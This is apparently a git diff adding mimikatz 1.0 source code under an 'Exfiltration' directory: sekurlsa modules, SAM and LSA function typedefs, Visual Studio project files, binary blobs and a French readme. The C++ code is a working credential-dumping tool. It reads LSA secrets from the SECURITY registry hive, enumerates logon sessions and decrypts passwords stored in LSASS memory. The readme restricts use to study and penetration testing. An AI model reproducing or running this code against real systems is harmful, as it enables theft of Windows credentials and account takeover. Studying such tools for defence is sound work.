toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false); +wstring protectMe(wstring &maChaine); +void correctMe(wstring &maChaine); + +typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); +typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID); +typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER); +typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE); +typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp new file mode 100644 index 0000000..06d8664 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp @@ -0,0 +1,99 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "secrets.h" + +PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL; +PLSA_R_OPEN_SECRET LsarOpenSecret = NULL; +PLSA_R_QUERY_SECRET LsarQuerySecret = NULL; +PLSA_R_CLOSE LsarClose = NULL; + +bool searchSECFuncs() +{ + if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose)) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + LsaIOpenPolicyTrusted = reinterpret_cast(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted")); + LsarOpenSecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarOpenSecret")); + LsarQuerySecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarQuerySecret")); + LsarClose = reinterpret_cast(GetProcAddress(hLsasrv, "LsarClose")); + } + return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose); + } + else return true; +} + +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl << + L"@LsarOpenSecret = " << LsarOpenSecret << endl << + L"@LsarQuerySecret = " << LsarQuerySecret << endl << + L"@LsarClose = " << LsarClose << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments) +{ + if(searchSECFuncs()) + { + bool sendOk = true; + wstring message; + LSA_HANDLE hPolicy; + + if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy))) + { + HKEY hKeysSecrets; + if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS) + { + DWORD nbKey, maxKeySize; + if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + for(DWORD i = 0; (i < nbKey) && sendOk; i++) + { + DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t); + LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]}; + + if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + monNomSecret.Length = monNomSecret.MaximumLength = static_cast(buffsize * sizeof(wchar_t)); + message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n'); + + LSA_HANDLE hSecret; + if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret))) + { + LSA_SECRET * monSecret = NULL; + if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL))) + { + message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n'); + LsaFreeMemory(monSecret); + } + else message.append(L"Erreur : Impossible de récupérer le secret\n"); + LsarClose(&hSecret); + } + else message.append(L"Erreur : Impossible d\'ouvrir le secret\n"); + } + delete[] monNomSecret.Buffer; + sendOk = sendTo(monPipe, message); + } + message.clear(); + } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n"); + RegCloseKey(hKeysSecrets); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la clé Secrets\n"); + LsarClose(&hPolicy); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n"); + + if(!message.empty()) + sendOk = sendTo(monPipe, message); + + return sendOk; + } + else return getSECFunctions(monPipe, mesArguments); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h new file mode 100644 index 0000000..cb74837 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include + +bool searchSECFuncs(); +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments); + +#define SECRET_SET_VALUE 0x00000001 +#define SECRET_QUERY_VALUE 0x00000002 + +typedef struct _LSA_SECRET +{ + DWORD Length; + DWORD MaximumLength; + wchar_t * Buffer; +} LSA_SECRET, *PLSA_SECRET; + +typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy); +typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret); +typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime); +typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp new file mode 100644 index 0000000..1d07596 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp @@ -0,0 +1,86 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sekurlsa.h" +PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL; + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"SekurLSA : librairie de manipulation des données de sécurités dans LSASS\n"); + return mod_system::getVersion(&mod_system::GLOB_Version); +} + +bool searchLSAFuncs() +{ + if(!SeckPkgFunctionTable) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + } + return (SeckPkgFunctionTable != NULL); +} + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass) +{ + wstring password; + if(ptrPass->Buffer && (ptrPass->Length > 0)) + { + BYTE * monPass = new BYTE[ptrPass->MaximumLength]; + RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength); + SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength); + password.assign(mod_text::stringOrHex(reinterpret_cast(monPass), ptrPass->Length)); + delete[] monPass; + } + return password; +} + +bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders) +{ + bool sendOk = true; + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count && sendOk; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + wostringstream maPremiereReponse; + maPremiereReponse << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + sendOk = sendTo(monPipe, maPremiereReponse.str()); + + for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + wostringstream maSecondeReponse; + maSecondeReponse << L'\t' << monProvider->second << L" : \t"; + sendOk = sendTo(monPipe, maSecondeReponse.str()); + monProvider->first(&sessions[i], monPipe, mesArguments->empty()); + sendOk = sendTo(monPipe, L"\n"); + } + } + LsaFreeReturnBuffer(sessionData); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les données de session\n"); + } + LsaFreeReturnBuffer(sessions); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'énumerer les sessions courantes\n"); + + return sendOk; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h new file mode 100644 index 0000000..c36e173 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "secpkg.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_text.h" +#include "mod_process.h" + +extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + +bool searchLSAFuncs(); +__kextdll bool __cdecl getDescription(wstring * maDescription); + +typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); +bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders); + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc new file mode 100644 index 0000000000000000000000000000000000000000..2243435e079a68d8ddee4f763bfdb89248bf1817 GIT binary patch literal 1878 zcmbu9Yi|-!5Qg8+CjN&be9^=hsQm-wDsc;>3#gw+r4%=R-{izVxE_(Ac^>Xu4gKG z`;qRo_IOSOU4!~v3s9GOqc2E;<{D4I=c(ROkGI78VkiC^y(HF#K5pWUiLnoZDjbGz zh`3&1^^40rYS{zhN=+;pyf3gYj}c#Oq()JFzUGO__?-O0`zbsPphG)`a<=lD5>#kPnse)b8=P&Sf zcyqoA9hh6}1tM6{k=E-Ia+uJsV=SidnQi(rSee}+wCpq@rzxs2DQV;xedZZDJ=IO$ z|3*x;24p&-R@PqyJk0b}b7pC(A9Thwe`Dm;?H+5<{3AM=XiI?~twZ6ZxEYP0#5AXEx_EVp^UQ(*UmvY!fiD zSjy~@()K=vtJQhsF{i|PpUdVx%VV%3a3>zsDmJH9)@2j6-fEl0{E1^*RsB9XgHu^& zyFR|^JP1u0kE}k^8yK~h8&1Pyz iA6V}`>@nLsVV-TutSYvv9`2MZ+U%=H2Ux!+?2^9>3i93n literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj new file mode 100644 index 0000000..dbea2a6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj @@ -0,0 +1,154 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} + Win32Proj + sekurlsa + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) + NoErrorReport + + + + + 0x040c + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) + NoErrorReport + + + + + 0x040c + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters new file mode 100644 index 0000000..936fcde --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters @@ -0,0 +1,122 @@ + + + + + {87c9f520-31d1-4b44-a523-415e0c703bde} + + + {8c6588bf-b3cf-4080-b59e-3ce82a6ccd62} + + + {9e44771d-18f4-407a-8f89-508cf5c366ff} + + + {541a9eff-641d-4a77-9b1f-e72ad6a7c0fa} + + + {ba6b07a5-6d5b-4632-ad6e-56690630eaa7} + + + {1e52fbf9-a352-419f-870b-3c4e265781d8} + + + + + {7fcd7c52-b4e5-4c6c-9dc7-190fbe667193} + + + {c175e3ec-41d0-4474-bbc7-eb1962a7fc70} + + + {b3819528-2e60-46a3-b37a-7c575a4d866a} + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + Modules Communs\Mémoire + + + + Modules Communs\System + + + Security Packages + + + Security Packages + + + Modules Communs\Texte + + + Modules Communs\System + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + Modules Communs\Mémoire + + + + Modules Communs\System + + + Security Packages + + + Security Packages + + + Modules Communs\Texte + + + + Modules Communs\System + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt new file mode 100644 index 0000000..eed6a50 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/lisezmoi.txt @@ -0,0 +1,47 @@ +mimikatz +======== + + +Cette archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de différents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz +Cet utilitaire ne peut être utilisé qu'à des fins d'études, pentests et autres actions légales en accord avec la licence précisée ci-dessous. + +Plus globalement, merci de respecter la philosophie avec laquelle cet outil a été créé, c'est à dire en ne permettant pas son utilisation à des fins malveillantes. +Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies. + +Binaires, codes source, dérivés et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/ +_____________________________________________________ +Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com/mimikatz +benjamin@gentilkiwi.com + + +anti-gpo standalone +=================== + +Ces outils ont étés remplacé par l'utilisation directe de mimikatz + +* KiwiRegedit + mimikatz nogpo::regedit exit + +* KiwiCmd + mimikatz nogpo::cmd exit + +* KiwiRegedit + mimikatz nogpo::taskmgr exit + + +outils incorporés +================= + +* psexec.exe + PsExec v1.98 - Execute processes remotely + Mark Russinovich (Sysinternals / Microsoft) + +* tee.exe + GNU shellutils 1.9.4 + http://unxutils.sourceforge.net/ + +* winmine.exe + Démineur de Windows XP + Robert Donner et Curt Johnson (Microsoft) \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln new file mode 100644 index 0000000..aa46f44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz.sln @@ -0,0 +1,85 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", "{6556249E-1C80-4047-A863-F608C8B8AC55}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}" + ProjectSection(SolutionItems) = preProject + lisezmoi.txt = lisezmoi.txt + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-têtes", "En-têtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}" + ProjectSection(SolutionItems) = preProject + commun\globdefs.h = commun\globdefs.h + commun\secpkg.h = commun\secpkg.h + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", "{80532836-DE52-40AD-B373-E4098BF52E1F}" + ProjectSection(SolutionItems) = preProject + commun\icons\cmd_32.ico = commun\icons\cmd_32.ico + commun\icons\cmd_48.ico = commun\icons\cmd_48.ico + commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico + commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico + commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico + commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico + commun\icons\regedit_32.ico = commun\icons\regedit_32.ico + commun\icons\regedit_48.ico = commun\icons\regedit_48.ico + commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico + commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico + commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico + commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico + EndProjectSection +EndProject +Global + GlobalSection(SubversionScc) = preSolution + Svn-Managed = True + Manager = AnkhSVN - Subversion Support for Visual Studio + EndGlobalSection + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {24371643-CEFE-4590-BB29-6141CB5E25D1} = {7999D050-6332-45F7-A343-C343902B1453} + {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453} + EndGlobalSection +EndGlobal diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..ce3b7c56ff0922e303f89a16f5f5f080c17b5f32 GIT binary patch literal 1366714 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 